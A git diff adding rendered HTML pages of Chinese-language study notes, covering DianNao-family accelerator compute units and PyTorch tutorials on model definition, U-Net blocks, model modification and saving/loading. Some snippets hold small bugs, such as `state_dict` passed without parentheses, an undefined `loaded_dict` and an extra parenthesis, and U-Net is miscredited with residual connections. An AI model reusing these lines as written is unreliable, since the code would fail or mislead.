ShiDianNao的运算阵列为2D格点结构,对于每一个运算单元(节点)而言,运算所使用的参数统一来源于Kernel,而参与运算的数据则可能来自于:数据缓存NBin,下方的节点,右侧的节点。

+

下图为每个运算单元的结构:

+

+

上图:ShiDianNao: Shifting vision processing closer to the sensor,figure 6

+

该计算节点的功能包括转发数据和进行计算:

+

转发数据:每个数据可来源于右侧节点,下方节点和NBin,根据控制信号选择其中一个存储到输入寄存器中,且根据控制信号可选的将其存储到FIFO-H和FIFO-V中。同时根据控制信号选择FIFO-H和FIFO-V中的信号从FIFO output端口输出

+

进行计算:根据控制信号进行计算,包括相加,累加,乘加和比较等,并将结果存储到输出寄存器中,并根据控制信号选择寄存器或计算结果输出到PE output端口。

+

对于计算功能,根据上文的结构图,可以发现,PE支持的运算有:kernel和输入数据相乘并与输出寄存器数据相加(乘加),输入数据与输出寄存器数据取最大或最小(应用于池化),kernel与输入数据相加(向量加法),输入数据与输出寄存器数据相加(累加)等。

+

PuDianNao​

+

作为DianNao系列的收山之作,PuDianNao的运算单元是电脑系列中唯一一个异构的,除了有MLU(机器学习单元)外,还有一个ALU用于处理通用运算和MLU无法处理的运算,其运算单元(上)和MLU(下)结构如下图所示:

+

+

上图:PuDianNao: A Polyvalent Machine Learning Accelerator,figure 11&12

+

该MLU共分为6层:

+

计数层/比较层:这一层的处理为两个数按位与或比较大小,结果将被累加,这一层可以单独输出且可以被bypass

+

加法层:这一层为两个输入对应相加,这一层可以单独输出且可以被bypass

+

乘法层:这一层为两个输入或上一层(加法层)结果对应位置相乘,可以单独输出

+

加法树层:将乘法层的结果累加

+

累加层:将上一层(加法树层)的结果累加,可以单独输出

+

特殊处理层:由一个分段线性逼近实现的非线性函数和k排序器(输出上一层输出中最小的输出)组成

+

该运算单元是DianNao系列中功能最多的单元,配置非常灵活。例如实现向量相乘(对应位置相乘后累加)时,弃用计数层,加法层,将数据从乘法层,加法树层和累加层流过即可实现。

+

PuDianNao支持7种机器学习算法:神经网络,线性模型,支持向量机,决策树,朴素贝叶斯,K临近和K类聚,所需要支持的运算较多,因此PuDianNao的运算分析主要集中在存储方面,其运算核心的设计中说明PuDianNao支持的运算主要有:向量点乘,距离计算,计数,排序和非线性函数。其他未覆盖的计算使用ALU实现。

+

参考资料:​

+

In-datacenter performance analysis of a tensor processing unit

+

Neural Network Processor

+

DianNao: a small-footprint high-throughput accelerator for ubiquitous machine-learning

+

DaDianNao: A Machine-Learning Supercomputer

+

ShiDianNao: Shifting vision processing closer to the sensor

+

PuDianNao: A Polyvalent Machine Learning Accelerator

+ + \ No newline at end of file diff --git a/en/docs/个人知识库/AI/PyTorch/第二章/index.html b/en/docs/个人知识库/AI/PyTorch/第二章/index.html new file mode 100644 index 0000000..370508e --- /dev/null +++ b/en/docs/个人知识库/AI/PyTorch/第二章/index.html @@ -0,0 +1,46 @@ + + + + + +第二章 | wjlin0 + + + + + + + + + + \ No newline at end of file diff --git a/en/docs/个人知识库/AI/PyTorch/第五章/5.1 PyTorch模型定义的方式/index.html b/en/docs/个人知识库/AI/PyTorch/第五章/5.1 PyTorch模型定义的方式/index.html new file mode 100644 index 0000000..82a896b --- /dev/null +++ b/en/docs/个人知识库/AI/PyTorch/第五章/5.1 PyTorch模型定义的方式/index.html @@ -0,0 +1,94 @@ + + + + + +5.1 PyTorch模型定义的方式.md | wjlin0 + + + + + + + +

5.1 PyTorch模型定义的方式.md

+ + + + + + + + + + + + + +
作者修订时间
wjlin02026-06-07 20:53:18
+ + + + + + + + + + + + + +
作者修订时间
wjlin02025-10-31 15:44:29
+

5.1 PyTorch模型定义的方式

+

模型在深度学习中扮演着重要的角色,好的模型极大地促进了深度学习的发展进步,比如CNN的提出解决了图像、视频处理中的诸多问题,RNN/LSTM模型解决了序列数据处理的问题,GNN在图模型上发挥着重要的作用。当我们在向他人介绍一项深度学习工作的时候,对方可能首先要问的就是使用了哪些模型。因此,在PyTorch进阶操作的第一部分中,我们首先来学习PyTorch模型相关的内容。

+

在第一部分课程的第三章中,我们已经学习了模型中的“层“是如何定义的,以及基础的模型是如何构建的。这里我们来更为系统地学习PyTorch中模型定义的方式,本节的学习将为后续灵活构建自己的模型打下坚实的基础。

+

经过本节的学习,你将收获*:

+
    +
  • 熟悉PyTorch中模型定义的三种方式
  • +
  • 读懂GitHub上千奇百怪的写法
  • +
  • 自己根据需要灵活选取模型定义方式
  • +
+

5.1.1 必要的知识回顾​

+
    +
  • Module 类是 torch.nn 模块里提供的一个模型构造类 (nn.Module),是所有神经⽹网络模块的基类,我们可以继承它来定义我们想要的模型;
  • +
  • PyTorch模型定义应包括两个主要部分:各个部分的初始化(__init__);数据流向定义(forward)
  • +
+

基于nn.Module,我们可以通过Sequential,ModuleList和ModuleDict三种方式定义PyTorch模型。

+

下面我们就来逐个探索这三种模型定义方式。

+

5.1.2 Sequential​

+

对应模块为nn.Sequential()。

+

当模型的前向计算为简单串联各个层的计算时, Sequential 类可以通过更加简单的方式定义模型。它可以接收一个子模块的有序字典(OrderedDict) 或者一系列子模块作为参数来逐一添加 Module 的实例,⽽模型的前向计算就是将这些实例按添加的顺序逐⼀计算。我们结合Sequential和定义方式加以理解:

+
from collections import OrderedDict
class MySequential(nn.Module):
def __init__(self, *args):
super(MySequential, self).__init__()
if len(args) == 1 and isinstance(args[0], OrderedDict): # 如果传入的是一个OrderedDict
for key, module in args[0].items():
self.add_module(key, module)
# add_module方法会将module添加进self._modules(一个OrderedDict)
else: # 传入的是一些Module
for idx, module in enumerate(args):
self.add_module(str(idx), module)
def forward(self, input):
# self._modules返回一个 OrderedDict,保证会按照成员添加时的顺序遍历成
for module in self._modules.values():
input = module(input)
return input
+

下面来看下如何使用Sequential来定义模型。只需要将模型的层按序排列起来即可,根据层名的不同,排列的时候有两种方式:

+
    +
  • 直接排列
  • +
+
import torch.nn as nn
net = nn.Sequential(
nn.Linear(784, 256),
nn.ReLU(),
nn.Linear(256, 10),
)
print(net)
+
Sequential(
(0): Linear(in_features=784, out_features=256, bias=True)
(1): ReLU()
(2): Linear(in_features=256, out_features=10, bias=True)
)
+
    +
  • 使用OrderedDict:
  • +
+
import collections
import torch.nn as nn
net2 = nn.Sequential(collections.OrderedDict([
('fc1', nn.Linear(784, 256)),
('relu1', nn.ReLU()),
('fc2', nn.Linear(256, 10))
]))
print(net2)
+
Sequential(
(fc1): Linear(in_features=784, out_features=256, bias=True)
(relu1): ReLU()
(fc2): Linear(in_features=256, out_features=10, bias=True)
)
+

可以看到,使用Sequential定义模型的好处在于简单、易读,同时使用Sequential定义的模型不需要再写forward,因为顺序已经定义好了。但使用Sequential也会使得模型定义丧失灵活性,比如需要在模型中间加入一个外部输入时就不适合用Sequential的方式实现。使用时需根据实际需求加以选择。

+

5.1.3 ModuleList​

+

对应模块为nn.ModuleList()。

+

ModuleList 接收一个子模块(或层,需属于nn.Module类)的列表作为输入,然后也可以类似List那样进行append和extend操作。同时,子模块或层的权重也会自动添加到网络中来。

+
net = nn.ModuleList([nn.Linear(784, 256), nn.ReLU()])
net.append(nn.Linear(256, 10)) # # 类似List的append操作
print(net[-1]) # 类似List的索引访问
print(net)
+
Linear(in_features=256, out_features=10, bias=True)
ModuleList(
(0): Linear(in_features=784, out_features=256, bias=True)
(1): ReLU()
(2): Linear(in_features=256, out_features=10, bias=True)
)
+

要特别注意的是,nn.ModuleList 并没有定义一个网络,它只是将不同的模块储存在一起。ModuleList中元素的先后顺序并不代表其在网络中的真实位置顺序,需要经过forward函数指定各个层的先后顺序后才算完成了模型的定义。具体实现时用for循环即可完成:

+
class model(nn.Module):
def __init__(self, ...):
super().__init__()
self.modulelist = ...
...

def forward(self, x):
for layer in self.modulelist:
x = layer(x)
return x
+

5.1.4 ModuleDict​

+

对应模块为nn.ModuleDict()。

+

ModuleDict和ModuleList的作用类似,只是ModuleDict能够更方便地为神经网络的层添加名称。

+
net = nn.ModuleDict({
'linear': nn.Linear(784, 256),
'act': nn.ReLU(),
})
net['output'] = nn.Linear(256, 10) # 添加
print(net['linear']) # 访问
print(net.output)
print(net)
+
Linear(in_features=784, out_features=256, bias=True)
Linear(in_features=256, out_features=10, bias=True)
ModuleDict(
(act): ReLU()
(linear): Linear(in_features=784, out_features=256, bias=True)
(output): Linear(in_features=256, out_features=10, bias=True)
)
+

5.1.5 三种方法的比较与适用场景​

+

Sequential适用于快速验证结果,因为已经明确了要用哪些层,直接写一下就好了,不需要同时写__init__和forward;

+

ModuleList和ModuleDict在某个完全相同的层需要重复出现多次时,非常方便实现,可以”一行顶多行“;

+

当我们需要之前层的信息的时候,比如 ResNets 中的残差计算,当前层的结果需要和之前层中的结果进行融合,一般使用 ModuleList/ModuleDict 比较方便。

+

本节参考​

+

【1】https://zhuanlan.zhihu.com/p/64990232

+ + \ No newline at end of file diff --git a/en/docs/个人知识库/AI/PyTorch/第五章/5.2 利用模型块快速搭建复杂网络/index.html b/en/docs/个人知识库/AI/PyTorch/第五章/5.2 利用模型块快速搭建复杂网络/index.html new file mode 100644 index 0000000..cea7e1f --- /dev/null +++ b/en/docs/个人知识库/AI/PyTorch/第五章/5.2 利用模型块快速搭建复杂网络/index.html @@ -0,0 +1,90 @@ + + + + + +5.2 利用模型块快速搭建复杂网络.md | wjlin0 + + + + + + + +

5.2 利用模型块快速搭建复杂网络.md

+ + + + + + + + + + + + + +
作者修订时间
wjlin02026-06-07 20:53:18
+ + + + + + + + + + + + + +
作者修订时间
wjlin02025-10-31 15:44:29
+

5.2 利用模型块快速搭建复杂网络

+

上一节中我们介绍了怎样定义PyTorch的模型,其中给出的示例都是用torch.nn中的层来完成的。这种定义方式易于理解,在实际场景下不一定利于使用。当模型的深度非常大时候,使用Sequential定义模型结构需要向其中添加几百行代码,使用起来不甚方便。

+

对于大部分模型结构(比如ResNet、DenseNet等),我们仔细观察就会发现,虽然模型有很多层, 但是其中有很多重复出现的结构。考虑到每一层有其输入和输出,若干层串联成的”模块“也有其输入和输出,如果我们能将这些重复出现的层定义为一个”模块“,每次只需要向网络中添加对应的模块来构建模型,这样将会极大便利模型构建的过程。

+

本节我们将以U-Net为例,介绍如何构建模型块,以及如何利用模型块快速搭建复杂模型。

+

经过本节的学习,你将收获:

+
    +
  • 利用上一节学到的知识,将简单层构建成具有特定功能的模型块
  • +
  • 利用模型块构建复杂网络
  • +
+

5.2.1 U-Net简介​

+

U-Net是分割 (Segmentation) 模型的杰作,在以医学影像为代表的诸多领域有着广泛的应用。U-Net模型结构如下图所示,通过残差连接结构解决了模型学习中的退化问题,使得神经网络的深度能够不断扩展。

+

unet

+

5.2.2 U-Net模型块分析​

+

结合上图,不难发现U-Net模型具有非常好的对称性。模型从上到下分为若干层,每层由左侧和右侧两个模型块组成,每侧的模型块与其上下模型块之间有连接;同时位于同一层左右两侧的模型块之间也有连接,称为“Skip-connection”。此外还有输入和输出处理等其他组成部分。由于模型的形状非常像英文字母的“U”,因此被命名为“U-Net”。

+

组成U-Net的模型块主要有如下几个部分:

+
    +
  • +

    每个子块内部的两次卷积(Double Convolution)

    +
  • +
  • +

    左侧模型块之间的下采样连接,即最大池化(Max pooling)

    +
  • +
  • +

    右侧模型块之间的上采样连接(Up sampling)

    +
  • +
  • +

    输出层的处理

    +
  • +
+

除模型块外,还有模型块之间的横向连接,输入和U-Net底部的连接等计算,这些单独的操作可以通过forward函数来实现。

+

下面我们用PyTorch先实现上述的模型块,然后再利用定义好的模型块构建U-Net模型。

+

5.2.3 U-Net模型块实现​

+

在使用PyTorch实现U-Net模型时,我们不必把每一层按序排列显式写出,这样太麻烦且不宜读,一种比较好的方法是先定义好模型块,再定义模型块之间的连接顺序和计算方式。就好比装配零件一样,我们先装配好一些基础的部件,之后再用这些可以复用的部件得到整个装配体。

+

这里的基础部件对应上一节分析的四个模型块,根据功能我们将其命名为:DoubleConv, Down, Up, OutConv。下面给出U-Net中模型块的PyTorch 实现:

+
import torch
import torch.nn as nn
import torch.nn.functional as F
+
class DoubleConv(nn.Module):
"""(convolution => [BN] => ReLU) * 2"""

def __init__(self, in_channels, out_channels, mid_channels=None):
super().__init__()
if not mid_channels:
mid_channels = out_channels
self.double_conv = nn.Sequential(
nn.Conv2d(in_channels, mid_channels, kernel_size=3, padding=1, bias=False),
nn.BatchNorm2d(mid_channels),
nn.ReLU(inplace=True),
nn.Conv2d(mid_channels, out_channels, kernel_size=3, padding=1, bias=False),
nn.BatchNorm2d(out_channels),
nn.ReLU(inplace=True)
)

def forward(self, x):
return self.double_conv(x)

+
class Down(nn.Module):
"""Downscaling with maxpool then double conv"""

def __init__(self, in_channels, out_channels):
super().__init__()
self.maxpool_conv = nn.Sequential(
nn.MaxPool2d(2),
DoubleConv(in_channels, out_channels)
)

def forward(self, x):
return self.maxpool_conv(x)

+
class Up(nn.Module):
"""Upscaling then double conv"""

def __init__(self, in_channels, out_channels, bilinear=False):
super().__init__()

# if bilinear, use the normal convolutions to reduce the number of channels
if bilinear:
self.up = nn.Upsample(scale_factor=2, mode='bilinear', align_corners=True)
self.conv = DoubleConv(in_channels, out_channels, in_channels // 2)
else:
self.up = nn.ConvTranspose2d(in_channels, in_channels // 2, kernel_size=2, stride=2)
self.conv = DoubleConv(in_channels, out_channels)

def forward(self, x1, x2):
x1 = self.up(x1)
# input is CHW
diffY = x2.size()[2] - x1.size()[2]
diffX = x2.size()[3] - x1.size()[3]

x1 = F.pad(x1, [diffX // 2, diffX - diffX // 2,
diffY // 2, diffY - diffY // 2])
# if you have padding issues, see
# https://github.com/HaiyongJiang/U-Net-Pytorch-Unstructured-Buggy/commit/0e854509c2cea854e247a9c615f175f76fbb2e3a
# https://github.com/xiaopeng-liao/Pytorch-UNet/commit/8ebac70e633bac59fc22bb5195e513d5832fb3bd
x = torch.cat([x2, x1], dim=1)
return self.conv(x)

+
class OutConv(nn.Module):
def __init__(self, in_channels, out_channels):
super(OutConv, self).__init__()
self.conv = nn.Conv2d(in_channels, out_channels, kernel_size=1)

def forward(self, x):
return self.conv(x)
+

5.2.4 利用模型块组装U-Net​

+

使用上面我们定义好的模型块,我们就可以非常方便地组装U-Net模型。可以看到,通过模型块的方式实现了代码复用,整个模型结构定义所需的代码总行数明显减少,代码可读性也得到了提升。

+
class UNet(nn.Module):
def __init__(self, n_channels, n_classes, bilinear=False):
super(UNet, self).__init__()
self.n_channels = n_channels
self.n_classes = n_classes
self.bilinear = bilinear

self.inc = DoubleConv(n_channels, 64)
self.down1 = Down(64, 128)
self.down2 = Down(128, 256)
self.down3 = Down(256, 512)
factor = 2 if bilinear else 1
self.down4 = Down(512, 1024 // factor)
self.up1 = Up(1024, 512 // factor, bilinear)
self.up2 = Up(512, 256 // factor, bilinear)
self.up3 = Up(256, 128 // factor, bilinear)
self.up4 = Up(128, 64, bilinear)
self.outc = OutConv(64, n_classes)

def forward(self, x):
x1 = self.inc(x)
x2 = self.down1(x1)
x3 = self.down2(x2)
x4 = self.down3(x3)
x5 = self.down4(x4)
x = self.up1(x5, x4)
x = self.up2(x, x3)
x = self.up3(x, x2)
x = self.up4(x, x1)
logits = self.outc(x)
return logits
+

参考资料​

+
    +
  1. https://github.com/milesial/Pytorch-UNet
  2. +
+ + \ No newline at end of file diff --git a/en/docs/个人知识库/AI/PyTorch/第五章/5.3 PyTorch修改模型/index.html b/en/docs/个人知识库/AI/PyTorch/第五章/5.3 PyTorch修改模型/index.html new file mode 100644 index 0000000..bc81ebb --- /dev/null +++ b/en/docs/个人知识库/AI/PyTorch/第五章/5.3 PyTorch修改模型/index.html @@ -0,0 +1,82 @@ + + + + + +5.3 PyTorch修改模型.md | wjlin0 + + + + + + + +

5.3 PyTorch修改模型.md

+ + + + + + + + + + + + + +
作者修订时间
wjlin02026-06-07 20:53:18
+ + + + + + + + + + + + + +
作者修订时间
wjlin02025-10-31 15:44:29
+

5.3 PyTorch修改模型

+

除了自己构建PyTorch模型外,还有另一种应用场景:我们已经有一个现成的模型,但该模型中的部分结构不符合我们的要求,为了使用模型,我们需要对模型结构进行必要的修改。随着深度学习的发展和PyTorch越来越广泛的使用,有越来越多的开源模型可以供我们使用,很多时候我们也不必从头开始构建模型。因此,掌握如何修改PyTorch模型就显得尤为重要。

+

本节我们就来探索这一问题。经过本节的学习,你将收获:

+
    +
  • 如何在已有模型的基础上: +
      +
    • 修改模型若干层
    • +
    • 添加额外输入
    • +
    • 添加额外输出
    • +
    +
  • +
+

5.3.1 修改模型层​

+

我们这里以PyTorch官方视觉库torchvision预定义好的模型ResNet50为例,探索如何修改模型的某一层或者某几层。我们先看看模型的定义是怎样的:

+
# 导入必要的package
import torch
import torch.nn as nn
from collections import OrderedDict
import torchvision.models as models
net = models.resnet50()
print(net)
+
ResNet(
(conv1): Conv2d(3, 64, kernel_size=(7, 7), stride=(2, 2), padding=(3, 3), bias=False)
(bn1): BatchNorm2d(64, eps=1e-05, momentum=0.1, affine=True, track_running_stats=True)
(relu): ReLU(inplace=True)
(maxpool): MaxPool2d(kernel_size=3, stride=2, padding=1, dilation=1, ceil_mode=False)
(layer1): Sequential(
(0): Bottleneck(
(conv1): Conv2d(64, 64, kernel_size=(1, 1), stride=(1, 1), bias=False)
(bn1): BatchNorm2d(64, eps=1e-05, momentum=0.1, affine=True, track_running_stats=True)
(conv2): Conv2d(64, 64, kernel_size=(3, 3), stride=(1, 1), padding=(1, 1), bias=False)
(bn2): BatchNorm2d(64, eps=1e-05, momentum=0.1, affine=True, track_running_stats=True)
(conv3): Conv2d(64, 256, kernel_size=(1, 1), stride=(1, 1), bias=False)
(bn3): BatchNorm2d(256, eps=1e-05, momentum=0.1, affine=True, track_running_stats=True)
(relu): ReLU(inplace=True)
(downsample): Sequential(
(0): Conv2d(64, 256, kernel_size=(1, 1), stride=(1, 1), bias=False)
(1): BatchNorm2d(256, eps=1e-05, momentum=0.1, affine=True, track_running_stats=True)
)
)
..............
(avgpool): AdaptiveAvgPool2d(output_size=(1, 1))
(fc): Linear(in_features=2048, out_features=1000, bias=True)
)

+

这里模型结构是为了适配ImageNet预训练的权重,因此最后全连接层(fc)的输出节点数是1000。

+

假设我们要用这个resnet模型去做一个10分类的问题,就应该修改模型的fc层,将其输出节点数替换为10。另外,我们觉得一层全连接层可能太少了,想再加一层。可以做如下修改:

+
classifier = nn.Sequential(OrderedDict([('fc1', nn.Linear(2048, 128)),
('relu1', nn.ReLU()),
('dropout1',nn.Dropout(0.5)),
('fc2', nn.Linear(128, 10)),
('output', nn.Softmax(dim=1))
]))

net.fc = classifier
+

这里的操作相当于将模型(net)最后名称为“fc”的层替换成了名称为“classifier”的结构,该结构是我们自己定义的。这里使用了第一节介绍的Sequential+OrderedDict的模型定义方式。至此,我们就完成了模型的修改,现在的模型就可以去做10分类任务了。

+

5.3.2 添加外部输入​

+

有时候在模型训练中,除了已有模型的输入之外,还需要输入额外的信息。比如在CNN网络中,我们除了输入图像,还需要同时输入图像对应的其他信息,这时候就需要在已有的CNN网络中添加额外的输入变量。基本思路是:将原模型添加输入位置前的部分作为一个整体,同时在forward中定义好原模型不变的部分、添加的输入和后续层之间的连接关系,从而完成模型的修改。

+

我们以torchvision的resnet50模型为基础,任务还是10分类任务。不同点在于,我们希望利用已有的模型结构,在倒数第二层增加一个额外的输入变量add_variable来辅助预测。具体实现如下:

+
class Model(nn.Module):
def __init__(self, net):
super(Model, self).__init__()
self.net = net
self.relu = nn.ReLU()
self.dropout = nn.Dropout(0.5)
self.fc_add = nn.Linear(1001, 10, bias=True)
self.output = nn.Softmax(dim=1)

def forward(self, x, add_variable):
x = self.net(x)
x = torch.cat((self.dropout(self.relu(x)), add_variable.unsqueeze(1)),1)
x = self.fc_add(x)
x = self.output(x)
return x
+

这里的实现要点是通过torch.cat实现了tensor的拼接。torchvision中的resnet50输出是一个1000维的tensor,我们通过修改forward函数(配套定义一些层),先将1000维的tensor通过激活函数层和dropout层,再和外部输入变量"add_variable"拼接,最后通过全连接层映射到指定的输出维度10。

+

另外这里对外部输入变量"add_variable"进行unsqueeze操作是为了和net输出的tensor保持维度一致,常用于add_variable是单一数值 (scalar) 的情况,此时add_variable的维度是 (batch_size, ),需要在第二维补充维数1,从而可以和tensor进行torch.cat操作。对于unsqueeze操作可以复习下2.1节的内容和配套代码。

+

之后对我们修改好的模型结构进行实例化,就可以使用了:

+
net = models.resnet50()
model = Model(net).cuda()
+

另外别忘了,训练中在输入数据的时候要给两个inputs:

+
outputs = model(inputs, add_var)
+

5.3.3 添加额外输出​

+

有时候在模型训练中,除了模型最后的输出外,我们需要输出模型某一中间层的结果,以施加额外的监督,获得更好的中间层结果。基本的思路是修改模型定义中forward函数的return变量。

+

我们依然以resnet50做10分类任务为例,在已经定义好的模型结构上,同时输出1000维的倒数第二层和10维的最后一层结果。具体实现如下:

+
class Model(nn.Module):
def __init__(self, net):
super(Model, self).__init__()
self.net = net
self.relu = nn.ReLU()
self.dropout = nn.Dropout(0.5)
self.fc1 = nn.Linear(1000, 10, bias=True)
self.output = nn.Softmax(dim=1)

def forward(self, x, add_variable):
x1000 = self.net(x)
x10 = self.dropout(self.relu(x1000))
x10 = self.fc1(x10)
x10 = self.output(x10)
return x10, x1000
+

之后对我们修改好的模型结构进行实例化,就可以使用了:

+
import torchvision.models as models
net = models.resnet50()
model = Model(net).cuda()
+

另外别忘了,训练中在输入数据后会有两个outputs:

+
out10, out1000 = model(inputs, add_var)
+ + \ No newline at end of file diff --git a/en/docs/个人知识库/AI/PyTorch/第五章/5.4 PyTorh模型保存与读取/index.html b/en/docs/个人知识库/AI/PyTorch/第五章/5.4 PyTorh模型保存与读取/index.html new file mode 100644 index 0000000..629f323 --- /dev/null +++ b/en/docs/个人知识库/AI/PyTorch/第五章/5.4 PyTorh模型保存与读取/index.html @@ -0,0 +1,129 @@ + + + + + +5.4 PyTorh模型保存与读取.md | wjlin0 + + + + + + + +

5.4 PyTorh模型保存与读取.md

+ + + + + + + + + + + + + +
作者修订时间
wjlin02026-06-07 20:53:18
+ + + + + + + + + + + + + +
作者修订时间
wjlin02025-10-31 15:44:29
+

5.4 PyTorch模型保存与读取

+

在前面几节的内容中,我们介绍了如何构建和修改PyTorch模型。本节我们来讨论PyTorch如何保存和读取训练好的模型和参数。

+

另外,在很多场景下我们都会使用多GPU训练。这种情况下,模型会分布于各个GPU上(参加2.3节分布数据式训练,这里暂不考虑分布模型式训练),模型的保存和读取与单GPU训练情景下是否有所不同?

+

经过本节的学习,你将收获:

+
    +
  • PyTorch的模型的存储格式
  • +
  • PyTorch如何存储模型
  • +
  • 单卡与多卡训练下模型的保存与加载方法
  • +
  • 优化器模型参数的保存
  • +
+

5.4.1 模型存储格式​

+

PyTorch存储模型主要采用pkl,pt,pth三种格式。就使用层面来说没有区别,这里不做具体的讨论。本节最后的参考内容中列出了查阅到的一些资料,感兴趣的读者可以进一步研究,欢迎留言讨论。

+

5.4.2 模型存储内容​

+

一个PyTorch模型主要包含两个部分:模型结构和权重。其中模型是继承nn.Module的类,权重的数据结构是一个字典(key是层名,value是权重向量)。存储也由此分为两种形式:存储整个模型(包括结构和权重),和只存储模型权重。

+
from torchvision import models
model = models.resnet152(pretrained=True)
save_dir = './resnet152.pth'

# 保存整个模型
torch.save(model, save_dir)
# 保存模型权重
torch.save(model.state_dict, save_dir)
+

对于PyTorch而言,pt, pth和pkl三种数据格式均支持模型权重和整个模型的存储,因此使用上没有差别。

+

5.4.3 单卡和多卡模型存储的区别​

+

PyTorch中将模型和数据放到GPU上有两种方式——.cuda()和.to(device),本节后续内容针对前一种方式进行讨论。如果要使用多卡训练的话,需要对模型使用torch.nn.DataParallel。示例如下:

+
import os
os.environ['CUDA_VISIBLE_DEVICES'] = '0' # 如果是多卡改成类似0,1,2
model = model.cuda() # 单卡
model = torch.nn.DataParallel(model).cuda() # 多卡
+

之后我们把model对应的layer名称打印出来看一下,可以观察到差别在于多卡并行的模型每层的名称前多了一个“module”。

+
    +
  • 单卡模型的层名:
  • +
+

img

+
    +
  • 多卡模型的层名:
  • +
+

img

+

这种模型表示的不同可能会导致模型保存和加载过程中需要处理一些矛盾点,下面对各种可能的情况做分类讨论。

+

5.4.4 单卡/多卡情况分类讨论​

+

由于训练和测试所使用的硬件条件不同,在模型的保存和加载过程中可能因为单GPU和多GPU环境的不同带来模型不匹配等问题。这里对PyTorch框架下单卡/多卡下模型的保存和加载问题进行排列组合(=4),样例模型是torchvision中预训练模型resnet152,不尽之处欢迎大家补充。

+
    +
  • 单卡保存+单卡加载
  • +
+

在使用os.envision命令指定使用的GPU后,即可进行模型保存和读取操作。注意这里即便保存和读取时使用的GPU不同也无妨。

+
import os
import torch
from torchvision import models

os.environ['CUDA_VISIBLE_DEVICES'] = '0' #这里替换成希望使用的GPU编号
model = models.resnet152(pretrained=True)
model.cuda()

save_dir = 'resnet152.pt' #保存路径

# 保存+读取整个模型
torch.save(model, save_dir)
loaded_model = torch.load(save_dir)
loaded_model.cuda()

# 保存+读取模型权重
torch.save(model.state_dict(), save_dir)
loaded_model = models.resnet152() #注意这里需要对模型结构有定义
loaded_model.load_state_dict(torch.load(save_dir))
loaded_model.cuda()
+
    +
  • 单卡保存+多卡加载
  • +
+

这种情况的处理比较简单,读取单卡保存的模型后,使用nn.DataParallel函数进行分布式训练设置即可(相当于3.1代码中.cuda()替换一下):

+
import os
import torch
from torchvision import models

os.environ['CUDA_VISIBLE_DEVICES'] = '0' #这里替换成希望使用的GPU编号
model = models.resnet152(pretrained=True)
model.cuda()

# 保存+读取整个模型
torch.save(model, save_dir)

os.environ['CUDA_VISIBLE_DEVICES'] = '1,2' #这里替换成希望使用的GPU编号
loaded_model = torch.load(save_dir)
loaded_model = nn.DataParallel(loaded_model).cuda()

# 保存+读取模型权重
torch.save(model.state_dict(), save_dir)

os.environ['CUDA_VISIBLE_DEVICES'] = '1,2' #这里替换成希望使用的GPU编号
loaded_model = models.resnet152() #注意这里需要对模型结构有定义
loaded_model.load_state_dict(torch.load(save_dir))
loaded_model = nn.DataParallel(loaded_model).cuda()
+
    +
  • 多卡保存+单卡加载
  • +
+

这种情况下的核心问题是:如何去掉权重字典键名中的"module",以保证模型的统一性。

+

对于加载整个模型,直接提取模型的module属性即可:

+
import os
import torch
from torchvision import models

os.environ['CUDA_VISIBLE_DEVICES'] = '1,2' #这里替换成希望使用的GPU编号

model = models.resnet152(pretrained=True)
model = nn.DataParallel(model).cuda()

# 保存+读取整个模型
torch.save(model, save_dir)

os.environ['CUDA_VISIBLE_DEVICES'] = '0' #这里替换成希望使用的GPU编号
loaded_model = torch.load(save_dir).module
+

对于加载模型权重,有以下几种思路: +保存模型时保存模型的module属性对应的权重

+
import os
os.environ['CUDA_VISIBLE_DEVICES'] = '0,1,2' #这里替换成希望使用的GPU编号
import torch
from torchvision import models

save_dir = 'resnet152.pth' #保存路径
model = models.resnet152(pretrained=True)
model = nn.DataParallel(model).cuda()

# 保存权重
torch.save(model.module.state_dict(), save_dir)
+

这样保存下来的模型参数就和单卡保存的模型参数一样了,可以直接加载。也是比较推荐的一种方法。 +去除字典里的module麻烦,往model里添加module简单

+
import os
os.environ['CUDA_VISIBLE_DEVICES'] = '0,1,2' #这里替换成希望使用的GPU编号
import torch
from torchvision import models

model = models.resnet152(pretrained=True)
model = nn.DataParallel(model).cuda()

# 保存+读取模型权重
torch.save(model.state_dict(), save_dir)

os.environ['CUDA_VISIBLE_DEVICES'] = '0' #这里替换成希望使用的GPU编号
loaded_model = models.resnet152() #注意这里需要对模型结构有定义
loaded_model.load_state_dict(torch.load(save_dir))
loaded_model = nn.DataParallel(loaded_model).cuda()
loaded_model.state_dict = loaded_dict
+

这样即便是单卡,也可以开始训练了(相当于分布到单卡上)

+

遍历字典去除module

+
from collections import OrderedDict
os.environ['CUDA_VISIBLE_DEVICES'] = '0' #这里替换成希望使用的GPU编号

loaded_dict = torch.load(save_dir)

new_state_dict = OrderedDict()
for k, v in loaded_dict.items():
name = k[7:] # module字段在最前面,从第7个字符开始就可以去掉module
new_state_dict[name] = v #新字典的key值对应的value一一对应

loaded_model = models.resnet152() #注意这里需要对模型结构有定义
loaded_model.state_dict = new_state_dict
loaded_model = loaded_model.cuda()
+

使用replace操作去除module

+
loaded_model = models.resnet152()    
loaded_dict = torch.load(save_dir)
loaded_model.load_state_dict({k.replace('module.', ''): v for k, v in loaded_dict.items()})
+
    +
  • 多卡保存+多卡加载
  • +
+

由于是模型保存和加载都使用的是多卡,因此不存在模型层名前缀不同的问题。但多卡状态下存在一个device(使用的GPU)匹配的问题,即保存整个模型时会同时保存所使用的GPU id等信息,读取时若这些信息和当前使用的GPU信息不符则可能会报错或者程序不按预定状态运行。具体表现为以下两点:

+

读取整个模型再使用nn.DataParallel进行分布式训练设置

+

这种情况很可能会造成保存的整个模型中GPU id和读取环境下设置的GPU id不符,训练时数据所在device和模型所在device不一致而报错。

+

读取整个模型而不使用nn.DataParallel进行分布式训练设置

+

这种情况可能不会报错,测试中发现程序会自动使用设备的前n个GPU进行训练(n是保存的模型使用的GPU个数)。此时如果指定的GPU个数少于n,则会报错。在这种情况下,只有保存模型时环境的device id和读取模型时环境的device id一致,程序才会按照预期在指定的GPU上进行分布式训练。

+

相比之下,读取模型权重,之后再使用nn.DataParallel进行分布式训练设置则没有问题。因此多卡模式下建议使用权重的方式存储和读取模型:

+
import os
import torch
from torchvision import models

os.environ['CUDA_VISIBLE_DEVICES'] = '0,1,2' #这里替换成希望使用的GPU编号

model = models.resnet152(pretrained=True)
model = nn.DataParallel(model).cuda()

# 保存+读取模型权重,强烈建议!!
torch.save(model.state_dict(), save_dir)
loaded_model = models.resnet152() #注意这里需要对模型结构有定义
loaded_model.load_state_dict(torch.load(save_dir)))
loaded_model = nn.DataParallel(loaded_model).cuda()
+

